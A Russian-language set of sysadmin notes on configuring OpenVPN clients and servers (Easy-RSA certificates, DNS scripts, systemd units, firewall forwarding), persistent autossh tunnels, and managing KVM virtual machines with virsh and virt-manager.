<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd";>
<plist version="1.0">
<dict>
<key>Label</key>
<string>homebrew.mxcl.openvpn</string>
<key>ProgramArguments</key>
<array>
<string>/usr/local/opt/openvpn/sbin/openvpn</string>
<string>--config</string>
<string>/usr/local/etc/openvpn/openvpn.conf</string>
</array>
<key>OnDemand</key>
<false/>
<key>RunAtLoad</key>
<true/>
<key>TimeOut</key>
<integer>90</integer>
<key>WatchPaths</key>
<array>
<string>/usr/local/etc/openvpn</string>
</array>
<key>WorkingDirectory</key>
<string>/usr/local/etc/openvpn</string>
</dict>
</plist>
Сам конфиг нужно привести к следующему виду, заменив деволтные значения на указанные
ниже:
client
tls-client
remote ip_адрес
comp-lzo yes
port нужный_порт
dev-type tun
remote-cert-tls server
cert /usr/local/etc/openvpn/user_name_2.crt
ca /usr/local/etc/openvpn/ca.crt
key /usr/local/etc/openvpn/user_name_2.key
dev tun
proto udp
script-security 2
up /usr/local/etc/openvpn/update-resolv-conf
down /usr/local/etc/openvpn/update-resolv-conf
down-pre
4. Запустите OpenVPN клиент.
- Linux:
В большинстве linux-дистрибутивов для того, чтобы работал локальный DNS-сервер
необходимо:
1.1) Если у вас установлена более ранняя версия, чем systemd 229:
# dpkg -l | grep systemd
то необходимо склонировать скрипт с github: https://github.com/masterkorp/openvpn-update-resolv-conf
и положить все содержимое в папку /etc/openvpn:
# apt install git
# cd /etc/openvpn
# git clone https://github.com/alfredopalhares/openvpn-update-resolv-conf.git
# mv openvpn-update-resolv-conf/* .
1.2) и добавить в конец конфига клиента openvpn (/etc/openvpn/client) следующие строки:
# pushing public DNS, domain
dhcp-option DNS ip_адрес_dnc_сервера
# здесь можно так же вписать slave DNS serever - ip_адрес_dns_сервера2
dhcp-option DOMAIN домен
setenv PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
script-security 2
# setenv opt block-outside-dns
up /etc/openvpn/update-resolv-conf.sh
down /etc/openvpn/update-resolv-conf.sh
down-pre
2.1) Если у вас установлена более новая версия, чем systemd 229:
# dpkg -l | grep systemd
лучше всего (для Linux Mint 19 - необходимо) воспользоваться другим скриптом:
https://github.com/jonathanio/update-systemd-resolved
# git clone https://github.com/jonathanio/update-systemd-resolved.git
# cd update-systemd-resolved
# make
# systemctl enable systemd-resolved.service
# systemctl start systemd-resolved.service
2.2) и добавить в конец конфига клиента openvpn (/etc/openvpn/client) следующие строки:
script-security 2
setenv PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
up /etc/openvpn/scripts/update-systemd-resolved
up-restart
down /etc/openvpn/scripts/update-systemd-resolved
down-pre
Так же убедитесь, что пакет resolvconf установлен на клиенте, поскольку update-resolv-conf
сценарий зависит от него. Возможно, так же потребуется отключение собственного dnsmasq NetworkManager.
/etc/NetworkManager/NetworkManager.conf
#dns=dnsmasq
и перезапустите NetworkManager:
sudo systemctl restart network-manager
3) создать скрипт (например: /etc/openvpn/connect_to_domen_vpn.sh):
#!/bin/bash
openvpn --client --config /etc/openvpn/client/client --script-security 2
и запускайте при подключении:
# sudo ./etc/openvpn/connect_to_domen_vpn.sh
- Windows:
1) перезагрузить систему, если не появилось новое сетевое устройство (TUN adapter):
Start Menu -> Control Panel -> Network and Sharing Center -> Change Adapter
Setting -> {adaoter_name}TAP-Windows Adapter -> Connect (по правой кнопке мыши)
или:
Пуск -> Панель Управления -> Сетевые подключения -> Изменить свойства адаптера ...
2) OpenVPN GUI автоматически добавляется в автозагрузку и запустится при перезагрузке
системы (см. иконку в системном трее). Если вы не совершали перезагрузку, или
хотите запустить OpenVPN GUI вручную:
Start Menu -> All Programs -> OpenVPN -> OpenVPN GUI
или:
Пуск -> Все программы -> ...
- MacOS:
В Tunnelblick необходимо включить опцию для DNS/WINS "Set nameserver".
Возможно, как и на Linux, для решения проблем с DNS придется воспользоваться
скриптом: https://github.com/andrewgdotcom/openvpn-mac-dns
Параметры конфига "up" и "down" указаны выше (пункт 3), тогда как сам запуск
производится командой:
# sudo brew services start openvpn
Как и в linux, openvpn прописывается сам для старта при запуске системы, так
что при следующих стартах системы он запускается автоматически, что можно
увидеть по ps aux:
# /usr/local/opt/openvpn/sbin/openvpn --config /usr/local/etc/openvpn/openvpn.conf
Troubleshooting:
В большинстве случаев привденных ваше настроек достаточно, но:
1. Клиент OpenVPN при подключении указывает на возможные ошибки (как для Linux в
консоли, так и для Windows в окне при подключении). Так же можно открыть log-файл:
- Linux:
/etc/openvpn/log/openvpn-status.log или /var/log
(может быть отключен по умолчанию и располагаться в других папках, в зависимости от
используемого дистрибутива)
- Windows:
C:\Users\<имя_пользователя>\OpenVPN\log
2. Вернитесь к пунктам выше и внимательно проверьте корректность имен сертификатов и
конфиг файлов.
3. Проверьте состояние тунельного адаптера (tun):
- Linux:
ip a
- Windows:
ipconfig
Для Linux, скорей всего, может потребоваться запуск от root'а, а для Windows - установка
необходимых для tun драйверов и права администратора.
4. Некоторые домашние роутера могут блокировать VPN-траффик. В зависимости от вешей модели
роутера могут необходимо выполнить некоторые настройки: http://shorturl.at/xBMX3
Чаще всего это чек-боксы в одном из пунктов настройки безопасности/fierewall.
4. Если вы пользуетесь операционной системой, дистрибутивом, или платформой отличных от
тех, что перечислены выше, возможно, вы найдете необходимую информацию по ссылке ниже:
https://openvpn.net/index.php/access-server/section-faq-openvpn-as/client-configuration.html
Вероятно, пользователям Ubuntu (в особенности её fork'ов, таких как Linux Mint)
так будут полезны следующие ссылки:
http://3d-freedom.ru/questions/297/networkmanager-ne-meniaet-etc-resolv-conf-posle-nazhatiia-knopki-openvpn-dns
https://forums.linuxmint.com/viewtopic.php?t=225831
откроем файл конфигурации клиента и закомментируем в нем строки содержащие пути к ключам и сертификатам (пути даны сугубо условно):
#ca C:\\Users\\Andrey\\OpenVPN\\keys\\ca.crt #cert C:\\Users\\Andrey\\OpenVPN\\keys\\ivanov.crt #key C:\\Users\\Andrey\\OpenVPN\\keys\\ivanov.key Если вы используете TLS-аутентификацию, то дополнительно закомментируйте:
#tls-auth C:\\Users\\Andrey\\OpenVPN\\keys\\ta.key 1 Теперь перейдем в самый конец файла и создадим там несколько секций в которые скопируем содержимое ключей и сертификатов:
В секцию ca мы копируем содержимое корневого сертификата ca.crt, в секцию key - содержимое ключа клиента, а в секцию cert - открытый ключ из его сертификата, обратите внимание, что копируется содержимое начиная от строки BEGIN и заканчивая строкой END включительно, как есть, без каких либо изменений. Открыть сертификаты и ключи можно обычным Блокнотом, либо любым иным текстовым редактором.
Вместо строк ca ca.crt cert user1.crt key user1.key
вставляем следующую конструкцию...
Если вы используете TLS-аутентификацию, то добавьте секцию tls-auth и скопируйте в нее содержимое ключа ta.key:
И добавьте в файл опцию: key-direction 1
Теперь файл конфигурации можно сохранить и передать на клиентское устройство. А дальше все достаточно просто и практически не требует вмешательства администратора, многие пользователи вполне способны сделать все самостоятельно. Щелкаем правой кнопкой на значок графической оболочки OpenVPN в системном лотке, выбираем Импорт конфигурации и указываем на полученный файл.
cd ~/easy-rsa ./easyrsa gen-req client1 nopass ./easyrsa sign-req client client1 cp ~/easy-rsa/pki/private/client1.key ~/client-configs/keys cp ~/easy-rsa/pki/issued/client1.crt ~/client-configs/keys cd ~/client-configs ./make_config.sh client1
OpenVPN юнит systemd В современных системах с OpenVPN уже есть шаблонный сервис: openvpn-client@.service
Файл должен лежать в: /etc/openvpn/client/ И называться: ИМЯ.conf
systemd-юнит не работает с .ovpn файл нужно переименовать в .conf sudo mv /etc/openvpn/client/my_vpn.ovpn /etc/openvpn/client/my_vpn.conf
У тебя: /etc/openvpn/client/my_vpn.conf /etc/openvpn/scripts/update-systemd-resolved.conf
И ты хочешь, чтобы запускалось как: openvpn --config my_vpn.conf --config update-systemd-resolved.conf
Создать override для конкретного инстанса sudo systemctl edit openvpn-client@my_vpn
Откроется редактор. В верхней части файла (между строками): ### Anything between here and the comment below will become the new contents of the file нужно вставить ровно это:
ExecStart= пустая строка — обязательна (она сбрасывает оригинальную) имя файла должно совпадать с инстансом → у тебя my_vpn, значит my_vpn.conf %i.conf здесь уже не используется, мы его переопределяем После сохранения:
systemctl status openvpn-client@my_vpn systemctl cat openvpn-client@my_vpn
Если всё сделано правильно — в выводе systemctl cat ты увидишь свой override поверх оригинального юнита.
проверка full-tunnel или split-tunnel Если вдруг оказалось full-tunnel, а нужно split Значит сервер пушит: redirect-gateway def1 Чтобы это игнорировать, добавь в my_vpn.conf: pull-filter ignore redirect-gateway и перезапусти: sudo systemctl restart openvpn-client@my_vpn
ip route посмотри строку вида: default via 192.168.1.1 dev eth0 или default via 10.x.x.x dev tun0
Если видишь: default dev tun0 или default via ... dev tun0 👉 значит весь трафик идёт через VPN (full-tunnel) 🔎 Если default route остался через твой обычный интерфейс (eth0 / enp3s0 / wlan0) А в таблице есть только что-то вроде: 10.0.0.0/8 dev tun0 👉 значит работает split-tunnel (только нужные сети через VPN)
Проверка через реальный IP Без VPN: curl ifconfig.me С VPN: curl ifconfig.me Если IP изменился → full tunnel Если IP тот же → split tunnel
ip route get 8.8.8.8 Если покажет: dev tun0 → весь интернет через VPN Если: dev eth0 → интернет напрямую
Проверка через resolvectl В Debian 12 используется systemd-resolved. Выполни: resolvectl status
Там будут разделы по интерфейсам, например:
Link 7 (tun0) DNS Servers: 10.0.0.53 DNS Domain: ~corp.local
DNS Servers — сервер, через который идут запросы DNS Domain с ~ → значит только для этой зоны Всё остальное идёт через обычный интерфейс ⚠️ Если домен внутренний, например ~corp.local, значит DNS-запросы для host.corp.local будут через VPN.
Если в выводе указаны IP сервера VPN → резолв через VPN Если запрос падает или идёт через публичный DNS → значит не настроено Можно явно указать интерфейс:
dig @10.0.0.53 host.corp.local где 10.0.0.53 — DNS сервера на tun0.
Проверка с systemd-resolve (альтернатива) systemd-resolve host.corp.local В выводе будет интерфейс (tun0) и IP сервера — значит DNS пошёл через VPN.
Если в resolvectl status видишь ~internal.domain → split-DNS настроен Все запросы к этим доменам идут через VPN, остальные через обычный интернет Проверка через dig или systemd-resolve подтверждает, что DNS реально работает через VPN
Настройка SSH-тунеля Есть сервер master с базой данных. Есть другой сервер slave, на котором надо настроить репликацию базы данных. И есть проблема: на сервере master закрыты все порты, кроме 22 (ssh).
Как одно из решений можно сделать тунель по SSH от сервера slave до сервера master, и внутри этого тунеля пересылать пакеты для репликации базы.
В самом простом случае ssh-тунель создается командой:
i - путь до ключа, по которому будет происходить авторизация на сервере master.
N - не выполнять никаких команд. Я так понимаю, если вдруг в сценариях logon на сервере master заданы какие-то команды - выполнение их пропускается.
L - задаёт port forwarding. В данном случае, локальный порт 33060 на сервере slave мапится на локальный порт 3306 на сервере master.
Используя только эту команду нужно следить за работоспособностью этого ssh-тунеля. Для автоматизации этого процесса есть утилита autossh, которая следит за тем, что тунель работает, и в противном слуае запускает его заново.
M - задает порт мониторинга. По этим портам происходит проверка работоспособности тунеля. 0 отключит мониторинг, а autossh перезапустит ssh только при выходе из ssh.
o - задание дополнительных опций.
L - маппинг портов.
i - путь к ключу, по которому будет происходить авторизация при подключении к серверу master.
N - не выполнять команд при подключении.
f - выполнять в фоне. Этот параметр не передается в ssh, а выполнение в фоне обеспечивает сама утилита autossh.
Но эту команду придется выполнять всякий раз после перезагрузки системы. Теперь надо настроить запуск этой команды при загрузке системы. Это можно сделать используя systemd.
Создаем сервис. Для этого создаем файл
sudo vi /etc/systemd/system/autossh-mysql-tunnel.service
со следующим содержанием
Параметр -f можно не использовать, так как systemd не понимает этот параметр.
Перезагружаем systemd, чтобы сервис стал доступен: sudo systemctl daemon-reload
Запускаем сервис и помещаем его в автозагрузку: sudo systemctl start autossh-mysql-tunnel.service sudo systemctl enable autossh-mysql-tunnel.service
Проверить статус можно с помощью команды: sudo systemctl status autossh-mysql-tunnel
В результате, должны получить примерно такой вывод:
● autossh-mysql-tunnel.service - AutoSSH tunnel service for MySQL on local port 33066
Loaded: loaded (/etc/systemd/system/autossh-mysql-tunnel.service; enabled; vendor preset: enabled)
Active: active (running) since Thu 2019-02-28 16:10:49 MSK; 5h 2min ago
Main PID: 1076 (autossh)
Tasks: 2
Memory: 5.6M
CPU: 5.528s
CGroup: /system.slice/autossh-mysql-tunnel.service
├─1076 /usr/lib/autossh/autossh -M 0 -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -N user@slave.domain
└─1092 /usr/bin/ssh -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -N user@slave.domain
Как настроить постоянно работающий SSH-туннель Иногда в работе над проектами приходится прибегать к уловкам для организации сетевых доступов. В тех случаях, когда согласован SSH с поддержкой перенаправления портов, альтернативным способом организации доступа становится SSH-туннель.
Рассмотрим пример создания такого туннеля с поддержанием работы с помощью systemd. Представим, что есть два сервера: сервер A (alice.example.com) с IP-адресом 10.0.0.1 и B (bob.example.com) с IP-адресом 10.0.0.2. Задача: пробросить порт 3128/tcp с сервера B на сервер A для доступа к HTTP-прокси.
Настройка
Перед началом убедитесь, что Port Forwarding разрешён на сервере: включите опцию AllowTcpForwarding. Подробнее об использовании перенаправлении TCP-портов в справке sshd_config(5).
Далее заводим непривилегированного пользователя autossh на обоих серверах. Этот пользователь будет подключаться к серверу B, а там, в свою очередь, аутентифицироваться и перенаправлять порт.
Генерируем пару закрытого и открытого ключей (RSA 4096 бит) на сервере A. В 2019 году 4096 бит достаточно для обеспечения должного уровня безопасности, не опасаясь подбора ключа. Вероятно, если вы читаете эту заметку в будущем, увеличьте размер ключа до 8192 бит или выше. Парольную фразу указывать не нужно.
Копируем текст публичного ключа в файл /home/autossh/.ssh/authorized_keys вручную или с помощью ssh-copy-id(1) на сервер B. Это позволит пользователю autossh аутентифицироваться по нему при подключении.
Проверяем подключение к серверу B. Продолжаем, если всё в порядке.
Конфигурируем SSH-клиент на сервере A. # vim /home/autossh/.ssh/config
Создаём systemd-юнит. Обратите внимание на символ @ в названии: после него может быть указан параметр для юнита. Конфигурация шаблонизируется спецификаторами, описанными в документации к systemd.unit. # sudo vim /usr/lib/systemd/system/autossh@.service
Применяем изменения.
sudo systemctl daemon-reload
Запускаем юнит и добавляем в автозапуск. Имя параметра соответствует названию профиля SSH-клиента в $HOME/.ssh/config.
Готово. Проверяем перенаправление портов на сервере A.
cat < /dev/null > /dev/tcp/10.0.0.1/3128 && echo OK || echo NOK
Отладить подключение можно либо из-под пользователя autossh, либо добавив -vvv в systemd-юнит. Приведённое выше работает и для LocalForward для перенаправления порта с удалённого сервера на локальный. Легко комбинировать с и другими возможностями SSH, когда в цепочке несколько узлов.
1 Настройка сервера CA на своём компе sudo apt install easy-rsa mkdir ~/easy-rsa ln -s /usr/share/easy-rsa/* ~/easy-rsa/ chmod 700 /home/<имя пользователя>/easy-rsa cd ~/easy-rsa ./easyrsa инициализация-pki cd ~/easy-rsa vim pki/vars
раскомментировать удалив # и заменить на своё
./easyrsa build-ca
Вам будет предложено ввести парольную фразу для вашей пары ключей. Выберите надежный пароль и запишите его на будущее. Далее вам будет предложено ввести парольную фразу PEM. Вам также будет предложено ввести общее имя (CN) вашего центра сертификации. Вы можете ввести любую строку, но для простоты нажмите ENTER, чтобы принять имя по умолчанию.
Если вы не хотите, чтобы вам запрашивали пароль каждый раз при взаимодействии с центром сертификации, вы можете использовать вместо этого следующую команду.
./easyrsa build-ca nopass
Это создаст два файла: ~/easy-rsa/pki/ca.crt — это файл общедоступного сертификата ЦС. Каждому пользователю и серверу OpenVPN потребуется копия этого файла. ~/easy-rsa/pki/private/ca.key — это закрытый ключ, используемый центром сертификации для подписи сертификатов для сервера и клиента OpenVPN. Если злоумышленник получит доступ к вашему ЦС и, в свою очередь, к вашему файлу ca.key, вам придется уничтожить свой ЦС. Вот почему ваш файл ca.key должен находиться только на вашем компьютере ЦС и что в идеале ваш компьютер ЦС должен оставаться в автономном режиме, когда вы не подписываете запросы на сертификаты, в качестве дополнительной меры безопасности.
2. Установка OpenVPN и Easy-RSA на сервере OpenVPN. sudo apt install openvpn easy-rsa mkdir ~/easy-rsa ln -s /usr/share/easy-rsa/* ~/easy-rsa/ chmod 700 ~/easy-rsa
3. Создание PKI для сервера OpenVPN. cd ~/easy-rsa ./easyrsa init-pki vim ~/easy-rsa/pki/vars
Найдите следующие переменные и раскомментируйте их, удалив перед ними решетку (#) и изменив их значения, как показано ниже.
4. Создайте запрос сертификата сервера OpenVPN и закрытый ключ. cd ~/easy-rsa ./easyrsa gen-req server nopass sudo cp pki/private/server.key /etc/openvpn/server/
Если вы не хотите использовать аутентификацию по паролю, вам нужно будет сгенерировать пару ключей SSH для каждого сервера, а затем добавить открытый ключ SSH сервера OpenVPN в файл авторизованных_ключей компьютера CA и наоборот. Если вы не хотите проходить через все это, вы можете просто скопировать файлы. Откройте файл на сервере OpenVPN, скопируйте его содержимое, затем создайте файл на сервере CA и вставьте его. Снова войдите на сервер CA, перейдите в каталог ~/easy-rsa и импортируйте файл CSR.
cd ~/easy-rsa ./easyrsa import-req /tmp/server.req server ./easyrsa sign-req server server
Вам будет предложено проверить, исходит ли запрос из надежного источника. Введите «yes», затем нажмите клавишу ENTER для подтверждения. Далее вам будет предложено ввести парольную фразу закрытого ключа CA, которую вы установили ранее.
7. Создайте сертификат клиента и пару ключей. Создайте каталог на своем VPN-сервере для хранения сертификата клиента и файлов ключей.
mkdir -p ~/client-configs/keys chmod -R 700 ~/client-configs cd ~/easy-rsa
Создайте ключ клиента с client1 в качестве общего имени клиента. Для клиента можно использовать любой CN. ./easyrsa gen-req client1 nopass Нажмите ENTER, чтобы подтвердить имя
cp pki/private/client1.key ~/client-configs/keys/
Перенесите файл client1.req на сервер CA. scp pki/reqs/client1.req username@your_ca_server_ip:/tmp
Снова войдите на сервер CA и импортируйте запрос сервера. cd ~/easy-rsa ./easyrsa import-req /tmp/client1.req client1 ./easyrsa sign-req client client1
При появлении запроса введите «yes», чтобы подтвердить подписание запроса и подтверждение того, что он поступил из надежного источника. Вам будет предложено ввести парольную фразу CA. Перенесите созданный сертификат обратно на сервер OpenVPN.
8. Настройте OpenVPN. sudo cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf /etc/openvpn/server/ sudo vim /etc/openvpn/server/server.conf
Найдите раздел HMAC файла, найдя директиву tls-auth. Закомментируйте строку, добавив точку с запятой (;) в начале строки. Добавьте новую строку под ней, как показано.
закомментировать cipher AES-256-CBC, добавить cipher AES-256-GCM и auth SHA256
Поскольку мы используем криптографию с эллиптической кривой, нам нужно отключить шифрование Диффи-Хеллмана. Закомментируйте строку dh dh2048.pem и добавьте под ней dh none.
После запуска OpenVPN должен работать без каких-либо привилегий. Чтобы включить это, найдите и раскомментируйте строки ;user openvpn и ;group openvpn и измените их, как показано.
Перенаправить весь трафик через VPN Приведенные выше настройки создают VPN-соединение между клиентом и сервером, но не заставляют какие-либо соединения использовать туннель. Для этого нужно раскомментировать push "redirect-gateway def1 bypass-dhcp"
Найдите раздел опций DHCP. Удалите точку с запятой в начале обеих строк. Это говорит клиенту использовать преобразователи OpenDNS.
Изменить порт и протокол если есть необходимость, можно заменить порт 1194 на 443
Найдите строку proto udp и закомментируйте ее, поставив перед ней точку с запятой. И раскомментируйте строку proto tcp, удалив точку с запятой, как показано.
Since we are using the TCP protocol, we need to change the value of the explicit-exit-notify directive from 1 to 0, as this directive is only used by UDP.
Укажите нестандартные учетные данные Если вы ранее выбрали другое имя во время команды сервера ./easy-rsa gen-req, вам необходимо изменить строки сертификата и ключа, чтобы они указывали на соответствующие файлы .crt и .key. Поскольку мы используем имя сервера по умолчанию, значение по умолчанию является правильным.
сделаем читабельной конфигурацию сервера sed -i -e '/^#/d' server.conf получится нечто вроде такого
Чтобы прочитать файл и загрузить новые значения для текущего сеанса, используйте следующую команду. sudo sysctl -p vm.swappiness = 0 net.ipv4.ip_forward = 1
Эта конфигурация будет маршрутизировать весь веб-трафик от вашего клиента через IP-адрес вашего сервера, а общедоступный IP-адрес вашего клиента будет эффективно скрыт.
10 – Настройка брандмауэра. ip route list default default via 69.28.90.1 dev ens3 onlink
sudo vim /etc/ufw/before.rules
Эти правила считываются и применяются до загрузки обычных правил UFW. Добавьте следующие строки в начало файла, как показано.
sudo nano /etc/default/ufw
Найдите директиву DEFAULT_FORWARD_POLICY и измените ее значение с DROP на ACCEPT. DEFAULT_FORWARD_POLICY="ACCEPT"
откройте порт 443, который вы ранее настроили для сервера OpenVPN, или 1194 если не меняли порт sudo ufw allow 443/tcp
Отключите и включите брандмауэр, чтобы применить новую конфигурацию sudo ufw disable sudo ufw enable
12. Создание конфигурации клиента. mkdir -p ~/client-configs/files cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf ~/client-configs/base.conf vim ~/client-configs/base.conf
Найдите директиву удаленного доступа и установите ее так, чтобы она указывала на общедоступный IP-адрес вашего сервера OpenVPN. Кроме того, измените порт, чтобы он соответствовал порту, который вы выбрали ранее.
Установите протокол, который вы выбрали ранее, раскомментировав его и закомментировав настройку proto udp.
Раскомментируйте директивы пользователя и группы, удалив точку с запятой перед ними. Также измените значения следующим образом.
Найдите директивы ca, cert и key и закомментируйте их, поставив перед ними точку с запятой. Это связано с тем, что мы добавим сертификаты и ключи в файл конфигурации клиента.
Закомментируйте директиву tls-auth, поскольку мы добавим ta.key непосредственно в файл конфигурации клиента.
Соответствуйте настройке шифрования, установленной в файле `/etc/openvpn/server/server.conf. Также добавьте настройку аутентификации внизу файла.
Добавьте директиву key-direction и установите для нее значение 1, чтобы VPN работал правильно.
Затем добавьте несколько закомментированных строк для обработки различных методов, используемых VPN-клиентами для разрешения DNS. Добавьте следующий набор строк для клиентов, которые не используют systemd-resolved, но полагаются на утилиту resolvconf для управления DNS.
Добавьте следующий набор строк для клиентов, которые используют systemd-resolved для разрешения DNS.
сделаем читабельной конфигурацию клиента sed -i -e '/^#/d' base.conf получится нечто вроде такого
Создайте сценарий для компиляции базовой конфигурации с соответствующими файлами сертификата, ключа и шифрования, а затем скопируйте созданный файл конфигурации в каталог ~/client-configs/files.
vim ~/client-configs/make_config.sh
chmod 700 ~/client-configs/make_config.sh
Этот сценарий создает копию файла base.conf, собирает все файлы сертификатов и ключей, извлекает их содержимое, добавляет их в базовый файл конфигурации и экспортирует все это для создания нового файла конфигурации клиента. Каждый раз, когда вы добавляете новый клиент, вам необходимо сгенерировать для него новые ключи и сертификаты, а затем запустить этот скрипт, чтобы создать файл конфигурации клиента. Мы уже создали сертификат клиента и файлы ключей на шаге 7. Давайте создадим для них файл конфигурации.
cd ~/client-configs ./make_config.sh client1
файл конфигурации клиента лежит в ~/client-configs/files/client1.ovpn
13. Установите и проверьте клиентское соединение. установим на клиентском компьютере openvpn sudo apt install openvpn
Проверьте, использует ли ваша система systemd-resolved для управления DNS-запросами, выполнив следующую команду. cat /etc/resolv.conf
Вы получите аналогичный результат. # Generated by NetworkManager nameserver 8.8.8.8 nameserver 8.8.4.4
Если система использует systemd-resolved, то указанный выше IP-адрес будет 127.0.0.53. Кроме того, комментарий вверху файла подтверждает то же самое. Если IP-адрес отличается от 127.0.0.53, значит, система не использует systemd-resolved, и вам необходимо выполнить шаги, упомянутые позже.
Но сначала загрузите файл client1.ovpn с сервера, используя следующую команду. scp username@your_server_ip:/home/username/client-configs/files/client1.ovpn .
Для клиентов с systemd-resolved sudo apt install openvpn-systemd-resolved vim client1.ovpn
Раскомментируйте следующие строки в файле, удалив точку с запятой перед ними.
Для клиентов с update-resolve-conf Это шаг, который вам нужно использовать, если у вас есть система Debian. Сначала убедитесь, что ваш дистрибутив использует update-resolv-conf.
$ ls /etc/openvpn client server update-resolv-conf
Если ваша система содержит файл update-resolv-conf, откройте файл конфигурации клиента для редактирования. vim client1.ovpn
Раскомментируйте следующие строки в файле, удалив точку с запятой перед ними.
Если вы используете дистрибутив на базе CentOS, измените директиву группы с nogroup на none.
Connect Client sudo openvpn --config client1.ovpn
чтобы проверить соединение, посетите URL-адрес https://whatismyip.com в своем браузере, и вы увидите свой IP-адрес и местоположение вашего сервера OpenVPN https://whatismyip.com
добавить плагин подключения в дебиане apt install network-manager-openvpn-gnome
Начиная с Ubuntu 18.04, если у вас уже есть файл opvn, вы можете импортировать его. (sudo не требуется) nmcli connection import type openvpn file [client].ovpn
C помощью любого текстового редактора открываем файл server.conf для редактирования:
sudo vim /etc/openvpn/server/server.conf
В этом файле нужно внести следующие изменения: заменить dh dh2048.pem на dh none раскомментировать строку push "redirect-gateway def1 bypass-dhcp" раскомментировать две строки с DNS серверами: push "dhcp-option DNS 208.67.222.222" push "dhcp-option DNS 208.67.220.220" По умолчанию здесь указаны адреса публичных DNS серверов от OpenDNS. Рекомендую сразу их заменить на DNS сервера от CloudFlare (1.1.1.1, 1.0.0.1) или Google (8.8.8.8 и 8.8.4.4) заменить tls-auth ta.key 0 на tls-crypt ta.key заменить cipher AES-256-CBC на cipher AES-256-GCM и после этой строки добавить еще одну новую – auth SHA256 добавить в конце файла две строки: user nobody group nogroup
Чтобы включить переадресацию пакетов, раскомментируем (вручную или с помощью утилиты sed) строку net.ipv4.ip_forward=1 в файле /etc/sysctl.conf и применим изменения:
sudo sed -i '/net.ipv4.ip_forward=1/s/^#//g' /etc/sysctl.conf sudo sysctl -p
Теперь нужно настроить форвардинг и маскарадинг в iptables, но для этого сначала посмотрим имя публичного сетевого интерфейса на сервере:
ip route list default
Пример результата выполнения команды показан ниже, в нем имя нужного нам интерфейса отображается сразу после "dev" :
default via 123.45.67.8 dev ens3 proto static onlink
Здесь интерфейс называется ens3, в вашем случае он может быть другой.
Разрешаем переадресацию и включаем маскарадинг в iptables. При необходимости имя интерфейса (ens3) в трех местах замените на нужное:
sudo apt install iptables-persistent -y sudo iptables -A INPUT -i tun+ -j ACCEPT sudo iptables -A FORWARD -i tun+ -j ACCEPT sudo iptables -A FORWARD -i ens3 -o tun+ -j ACCEPT sudo iptables -A FORWARD -i tun+ -o ens3 -j ACCEPT sudo iptables -t nat -A POSTROUTING -s 10.8.0.0/8 -o ens3 -j MASQUERADE sudo netfilter-persistent save
Добавляем сервис OpenVPN в автозагрузку и запускаем его:
sudo systemctl status openvpn-server@server.service
Нам осталось создать файл конфигурации .ovpn, который клиент будет использовать для подключения к VPN. Файл .ovpn должен содержать базовые параметры, сертификаты и ключи. Чтобы не объединять это всё вручную, напишем небольшой BASH-скрипт:
create_client_config.sh
В скрипте вместо X.X.X.X впишите IP адрес вашего сервера, поместите файл в любую директорию и установите исполняемые права:
chmod +x create_client_config.sh
Создаем .ovpn файл для client1:
./create_client_config.sh client1
Готово! В папке ~/openvpn-clients появился client1.ovpn. Скачайте его и просто импортируйте в любой OpenVPN-клиент или на роутер с поддержкой этой функции.
Docker-compose — пакетный менеджер (по аналогии с composer и npm, только у docker — контейнеры), позволяющий описывать необходимую структуру в одном файле (конфиге).
Проверить статус ВМ: virsh -c qemu:///system list --all
Проверить параметры подключения к ВМ virsh -c qemu:///system domdisplay vm1
Подключиться к виртуальному монитору ВМ spicy -h 127.0.0.1 -p 5900
проблемы звука QEMU_ALSA_DAC_BUFFER_SIZE=2048 Для разных карт разный размер буфера. поэксперементируйте и выберите оптимальный.
https://www.opennet.ru/openforum/vsluhforumID3/120480.html#52 чтобы не было треска, при выводе в конфигурации звука 5.1, работает такой вариант: -device usb-audio,audiodev=usb,multi=on -audiodev pa,id=usb,server=/run/user/1000/pulse/native,out.mixing-engine=off,out.buffer-length=4608000,timer-period=2000,out.voices=2
Этими же параметрами и не только usb а и старый hda-micro тоже приводится в чувство, но там такой здоровый буфер как в этой строчке не нужен - т.к. только стерео.
/etc/libvirt/qemu.conf - основной конфиг qemu. Тут задаём параметры vnc сервера. /etc/libvirt/qemu/ - папка для хранения конфигов, в том числе и виртуальных машин.
Управление виртуальными машинами KVM из консоли # virsh list – показать список запущенных ВМ # virsh list --all – показать список всех машин (в том числе выключенных) # virsh shutdown — выключить виртуальную машину # virsh start — запустить виртуальную машину # virsh suspend — приостановить виртуальную машину # virsh resume — запустить приостановленную виртуальную машину # virsh reboot — перезапустить виртуальную машину # virsh destroy — уничтожить виртуальную машину # virsh undefine — удалить машину из списка и удалить все файлы, принадлежащие ей (обычно применяется после выполнения команды virsh destroy). # virsh vcpuinfo — информация о процессоре на виртуальной машине (информацию о железе физического Linux сервера можно получить так) # virsh domid — получить идентификатор виртуальной машины # virsh domuuid — получить UUID виртуальной машины # virsh dominfo — получить сведения о виртуальной машине # virsh domstate — просмотр состояния виртуальной машины # virsh dumpxml — вывести файл конфигурации указанной виртуальной машины в XML формате
рецепты Особенности при установки qemu в Debian 11 https://propk.ru/virt-manager-debian-10/ apt -y install qemu libvirt-daemon bridge-utils virtinst libvirt-daemon-system apt -y install libguestfs-tools libosinfo-bin qemu-system virt-manager виртуальная сеть не активна ‘default’. sudo virsh net-list --all sudo virsh net-start default sudo virsh net-destroy default https://dondub.com/2023/01/zapusk-kvm-na-debian-11/ virsh net-autostart default
установка aarch64 на virt-manager x86_64 Установка необходимых компонентов Для эмуляции другой архитектуры на x86_64 вам потребуются пакеты эмулятора QEMU для ARM и прошивка UEFI (EDK2): Ubuntu/Debian: sudo apt install qemu-system-arm qemu-efi-aarch64 qemu-utils virt-manager Федора: sudo dnf install qemu-system-aarch64 edk2-aarch64 virt-manager Arch Linux: sudo pacman -S qemu-emulators-full edk2-armvirt virt-manager
Настройка виртуальной машины в virt-manager Архитектура: aarch64 Тип машины: virt CPU: Выберите cortex-a57 или max На последнем шаге перед установкой установите галочку «Проверить конфигурацию перед установкой»
